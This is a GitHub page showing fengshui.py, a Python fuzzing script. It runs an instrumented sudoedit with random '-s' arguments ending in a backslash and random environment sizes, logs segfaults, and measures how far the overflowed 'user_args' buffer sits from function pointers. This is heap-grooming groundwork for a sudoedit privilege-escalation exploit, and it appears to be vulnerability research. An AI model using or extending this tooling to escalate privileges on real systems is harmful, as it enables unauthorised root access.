-
Notifications
You must be signed in to change notification settings - Fork 35
/
Copy pathfengshui.py
143 lines (124 loc) · 4.4 KB
/
fengshui.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
import subprocess
import time
import select
import random
import os
import json
from pathlib import Path
seed = time.time()
print(seed)
random.seed(seed)
FOLDER = 'fengshui'
# define some common size values usable for different inputs
_SIZES = [i for i in range(0,0xff)]
_SIZES += [2**i for i in range(0,15)]
_SIZES += [(2**i)+1 for i in range(0,15)]
_SIZES += [(2**i)-1 for i in range(0,15)]
_SIZES += ([0]*50)
# define some flags from sudo -h
ARG1 = ["-A","-B","-E","-e","-H","-K","-k","-l","-n","-P","-S","-s"]
ARG1 += [None, None, None, None, None, None, None]
ARG2 = _SIZES
ARG3 = _SIZES
HOSTNAME = _SIZES
ENV = _SIZES
# dump a testcase into a logfile
def dump_file(fname, lines, ptrs, arg, env, key):
# create the folders if they don't exist
directory = os.path.dirname(fname)
if not os.path.exists(directory):
os.makedirs(directory)
# don't write the dump file if it's already too large
if os.path.isfile(fname) and Path(fname).stat().st_size > 200000:
return
# write to file
with open(fname, 'a+') as f:
f.write("----------------------------\n")
f.write(lines[1].decode('ascii'))
if key:
distance = ptrs[key] - ptrs[b'user_args']
f.write(f"user_args < {key.decode('ascii')}\n")
f.write(f"distance: 0x{distance:x}\n")
if key:
f.write(f"0x{ptrs[b'user_args']:016x} < 0x{ptrs[key]:016x}\n")
f.write("args: sudoedit ")
f.write(" ".join(arg))
f.write("\n\n")
for k in env:
f.write(f"{k}={env[k]}\n")
f.write("\n")
f.write(lines[0].decode('ascii'))
f.write("\n")
test = {}
test['arg'] = arg
test['env'] = env
f.write(json.dumps(test))
f.write("\n\n")
# this will run sudoedit with a set of arguments and environment variables
def run_sudoedit(arg, env):
print("-------------")
# disable stdout buffering with stdbuf wrapping around sudoedit
# and add the commandline arguments
_cmd = ["/usr/bin/stdbuf", "-o0", "/usr/local/bin/sudoedit"] + arg
# execute it
p = subprocess.Popen(_cmd, env=env, bufsize=0, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
try:
# send some newlines and check if we get any output
lines = p.communicate(b"x\nx\nx\nx\n", timeout=0.1)
except subprocess.TimeoutExpired:
# terminate on timeout
p.terminate()
lines = p.communicate()
if p.returncode == -11:
print(f"SEGFAULT")
# read the list of function pointers
ptrs = {}
skipping = True
for line in lines[0].splitlines():
key,val = line.split(b'=')
if key == b'user_args':
skipping = False
if not skipping:
ptrs[key] = int(val,16)
# go through all function pointers
if ptrs and b'user_args' in ptrs:
for key in ptrs:
if key != b'user_args':
# is our overflow buffer before a function pointer?
if ptrs[b'user_args'] < ptrs[key]:
distance = ptrs[key] - ptrs[b'user_args']
if distance<14000:
fname = f'{FOLDER}/{distance}'
dump_file(fname, lines, ptrs, arg, env, key)
# did we get a segfault?
if p.returncode == -11:
fname = f"{FOLDER}/crashes/segfault_{distance}"
dump_file(fname, lines, ptrs, arg, env, None)
return
return
ALPHABET = '0123456789ABCDEFGHIKLMNOPQRSTUVWXYZ'
# fuzz loop
while True:
# select random size values
arg1 = random.choice(ARG1)
rand_arg2_size = random.choice(ARG2)
rand_arg3_size = random.choice(ARG3)
rand_hostname_size = random.choice(HOSTNAME)
rand_env_size = random.choice(ENV)
arg = []
env = {}
# arguments
# ... -s AAAAAAA\ ...
if arg1:
arg.append(arg1)
arg.append("-s")
arg.append(random.choice(ALPHABET)*rand_arg2_size + "\\")
if rand_arg3_size:
arg.append(random.choice(ALPHABET)*rand_arg3_size)
# environment variables
if rand_hostname_size:
env["HOSTNAME"] = random.choice(ALPHABET)*rand_hostname_size
if rand_env_size:
env[random.choice(ALPHABET)*3] = random.choice(ALPHABET)*rand_env_size
# run sudoedit
run_sudoedit(arg, env)